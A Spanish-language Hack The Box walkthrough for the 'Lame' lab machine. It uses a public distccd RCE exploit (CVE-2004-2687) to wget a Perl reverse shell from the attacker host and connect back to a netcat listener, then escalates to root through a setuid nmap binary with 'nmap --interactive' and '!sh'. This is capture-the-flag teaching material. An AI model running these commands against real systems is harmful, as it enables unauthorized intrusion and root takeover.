Skip to content

Lame

Difficulty : Easy
Operating System : Linux
Rating : 4.5
Author : ch4p

Description

Esta maquina de dificultad "Easy" sera comprometida con un exploit publico para obtener el flag de usuario y aprovecharemos una mala configuracion de un binario conocido para escalar hasta el usuario root

Enumeration

Para la enumeracion basica vamos a utilizar una tool que he desarrollado especificamente para trabajar con maquinas en la plataforma hackthebox. Esta herramienta crea la carpeta de trabajo, realiza un escaneo basico con nmap y si encuentra un servicio web le lanza una enumeracion basica.

Descarga: HTBenum

Nmap

Nmap scan report for lame.htb (10.10.10.3)
Host is up (0.060s latency).

PORT     STATE SERVICE VERSION
3632/tcp open  distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

User Own

Como vemos en el escaneo con nmap, disponemos de un servicio expuesto en el puerto 3632. El servicio es distccd, un servicio que acepta y ejecuta trabajos de compilacion para clientes de red. En su version v1 tiene un RCE CVE-2004-2687 y un exploit publico que podemos aprovechar para ejecutar comandos arbitrarios en el servidor objetivo.

Descarga: distccd_rce_CVE-2004-2687.py

[root@htb lame]# python2 distccd_rce_CVE-2004-2687.py -t lame.htb -p 3632 -c "id;cat /etc/hostname"
[OK] Connected to remote service

--- BEGIN BUFFER ---

uid=1(daemon) gid=1(daemon) groups=1(daemon)
lame


--- END BUFFER ---

[OK] Done.

Una vez comprobado que el exploit funciona, vamos a enviarnos una revershell shell para trabajar comodamente y buscar la escalada al usuario root.

Descarga: rshell.pl

# 1) montamos un server http en la maquina de trabajo
[root@htb lame]# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.3 - - [27/Sep/2021 14:52:01] "GET /rshell.pl HTTP/1.0" 200 -

# 2) bajamos la rshell usando el exploit para distccd
[root@htb lame]# python distccd_rce_CVE-2004-2687.py -t lame.htb -p 3632 -c "wget http://10.10.14.9:8000/rshell.pl"
[OK] Connected to remote service

--- BEGIN BUFFER ---

--09:00:45--  http://10.10.14.9:8000/rshell.pl
           => `rshell.pl'
Connecting to 10.10.14.9:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,156 (1.1K) [text/x-perl]

    0K .                                                     100%  325.78 MB/s

09:00:46 (325.78 MB/s) - `rshell.pl' saved [1156/1156]



--- END BUFFER ---

[OK] Done.


# 3) ponemos un netcat a la escucha en la maquina de trabajo
[root@htb ~]# nc -lvvp 7788
listening on [any] 7788 ...

# 4) lanzamos la rshell desde la maquina objetivo usando el exploit para distccd
[root@htb lame]# python distccd_rce_CVE-2004-2687.py -t lame.htb -p 3632 -c "perl rshell.pl 10.10.14.9 7788"
[OK] Connected to remote service

# 5) recibimos la nueva shell
[root@htb ~]# nc -lvvp 7788
listening on [any] 7788 ...
connect to [10.10.14.9] from lame.htb [10.10.10.3] 46132
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Lo siguiente que deberiamos hacer siempre que recibimos una reverse shell, es convertirla a una shell interactiva, para esto seguimos los siguientes pasos:

* python -c 'import pty;pty.spawn("/bin/bash")'
* Presionamos CTRL+Z para enviar el netcat a segundo plano.
* stty raw -echo
* fg
* reset
* stty -a # en nuestro entorno de trabajo
* stty rows 51 columns 171 # en el target
* export TERM=xterm;export SHELL=bash

daemon@lame:/tmp$ cd /home/makis/
daemon@lame:/home/makis$ ls -alt
total 28
-rw-r--r-- 1 makis makis   33 Sep 27 08:20 user.txt
-rw------- 1 makis makis 1107 Mar 14  2017 .bash_history
drwxr-xr-x 2 makis makis 4096 Mar 14  2017 .
-rw-r--r-- 1 makis makis    0 Mar 14  2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis  220 Mar 14  2017 .bash_logout
-rw-r--r-- 1 makis makis 2928 Mar 14  2017 .bashrc
-rw-r--r-- 1 makis makis  586 Mar 14  2017 .profile
drwxr-xr-x 6 root  root  4096 Mar 14  2017 ..
daemon@lame:/home/makis$

Root Own

Para escalar hacia el usuario root vamos a buscar binarios con el setuid root

daemon@lame:/home/makis$ find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2>/dev/null
-rwsr-xr-x 1 root root 63584 Apr 14  2008 /bin/umount
-rwsr-xr-- 1 root fuse 20056 Feb 26  2008 /bin/fusermount
-rwsr-xr-x 1 root root 25540 Apr  2  2008 /bin/su
-rwsr-xr-x 1 root root 81368 Apr 14  2008 /bin/mount
-rwsr-xr-x 1 root root 30856 Dec 10  2007 /bin/ping
-rwsr-xr-x 1 root root 26684 Dec 10  2007 /bin/ping6
-rwsr-xr-x 1 root root 65520 Dec  2  2008 /sbin/mount.nfs
-rwxr-sr-x 1 root shadow 19584 Apr  9  2008 /sbin/unix_chkpwd
-rwsr-xr-- 1 root dhcp 2960 Apr  2  2008 /lib/dhcp3-client/call-dhclient-script
-rwsr-xr-x 2 root root 107776 Feb 25  2008 /usr/bin/sudoedit
-rwxr-sr-x 1 root utmp 3192 Apr 22  2008 /usr/bin/Eterm
-rwsr-sr-x 1 root root 7460 Jun 25  2008 /usr/bin/X
-rwxr-sr-x 1 root tty 8192 Dec 12  2007 /usr/bin/bsd-write
-rwsr-xr-x 1 root root 8524 Nov 22  2007 /usr/bin/netkit-rsh
-rwxr-sr-x 1 root ssh 76580 Apr  6  2008 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37360 Apr  2  2008 /usr/bin/gpasswd
-rwxr-sr-x 1 root mlocate 30508 Mar  8  2008 /usr/bin/mlocate
-rwxr-sr-x 1 root crontab 26928 Apr  8  2008 /usr/bin/crontab
-rwsr-xr-x 1 root root 12296 Dec 10  2007 /usr/bin/traceroute6.iputils
-rwsr-xr-x 2 root root 107776 Feb 25  2008 /usr/bin/sudo
-rwsr-xr-x 1 root root 12020 Nov 22  2007 /usr/bin/netkit-rlogin
-rwxr-sr-x 1 root shadow 37904 Apr  2  2008 /usr/bin/chage
-rwxr-sr-x 1 root utmp 308228 Oct 23  2007 /usr/bin/screen
-rwxr-sr-x 1 root shadow 16424 Apr  2  2008 /usr/bin/expiry
-rwsr-xr-x 1 root root 11048 Dec 10  2007 /usr/bin/arping
-rwsr-sr-x 1 daemon daemon 38464 Feb 20  2007 /usr/bin/at
-rwxr-sr-x 1 root utmp 306996 Jan  2  2009 /usr/bin/xterm
-rwsr-xr-x 1 root root 19144 Apr  2  2008 /usr/bin/newgrp
-rwxr-sr-x 1 root tty 9960 Apr 14  2008 /usr/bin/wall
-rwsr-xr-x 1 root root 28624 Apr  2  2008 /usr/bin/chfn
-rwsr-xr-x 1 root root 780676 Apr  8  2008 /usr/bin/nmap
-rwsr-xr-x 1 root root 23952 Apr  2  2008 /usr/bin/chsh
-rwsr-xr-x 1 root root 15952 Nov 22  2007 /usr/bin/netkit-rcp
-rwsr-xr-x 1 root root 29104 Apr  2  2008 /usr/bin/passwd
-rwsr-xr-x 1 root root 46084 Mar 31  2008 /usr/bin/mtr
-rwsr-sr-x 1 libuuid libuuid 12336 Mar 27  2008 /usr/sbin/uuidd
-r-xr-sr-x 1 root postdrop 10312 Apr 18  2008 /usr/sbin/postqueue
-r-xr-sr-x 1 root postdrop 10036 Apr 18  2008 /usr/sbin/postdrop
-rwsr-xr-- 1 root dip 269256 Oct  4  2007 /usr/sbin/pppd
-rwsr-xr-- 1 root telnetd 6040 Dec 17  2006 /usr/lib/telnetlogin
-rwsr-xr-- 1 root www-data 10276 Mar  9  2010 /usr/lib/apache2/suexec
-rwsr-xr-x 1 root root 4524 Nov  5  2007 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 165748 Apr  6  2008 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 9624 Aug 17  2009 /usr/lib/pt_chown
-r-sr-xr-x 1 root root 14320 Nov  3  2020 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 9532 Nov  3  2020 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper

El binario con permisos de root que llama la atencion es nmap

-rwsr-xr-x 1 root root 780676 Apr  8  2008 /usr/bin/nmap

Para explotar este binario podemos recurrir a GTFOBins y de las opciones disponibles para ejecutar comandos arbitrarios a traves de nmap, la mas sencilla es haciendo uso de nmap --interactive

daemon@lame:/home/makis$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=1(daemon)
sh-3.2# ls /root/
Desktop  reset_logs.sh  root.txt  vnc.log
sh-3.2#
Back to top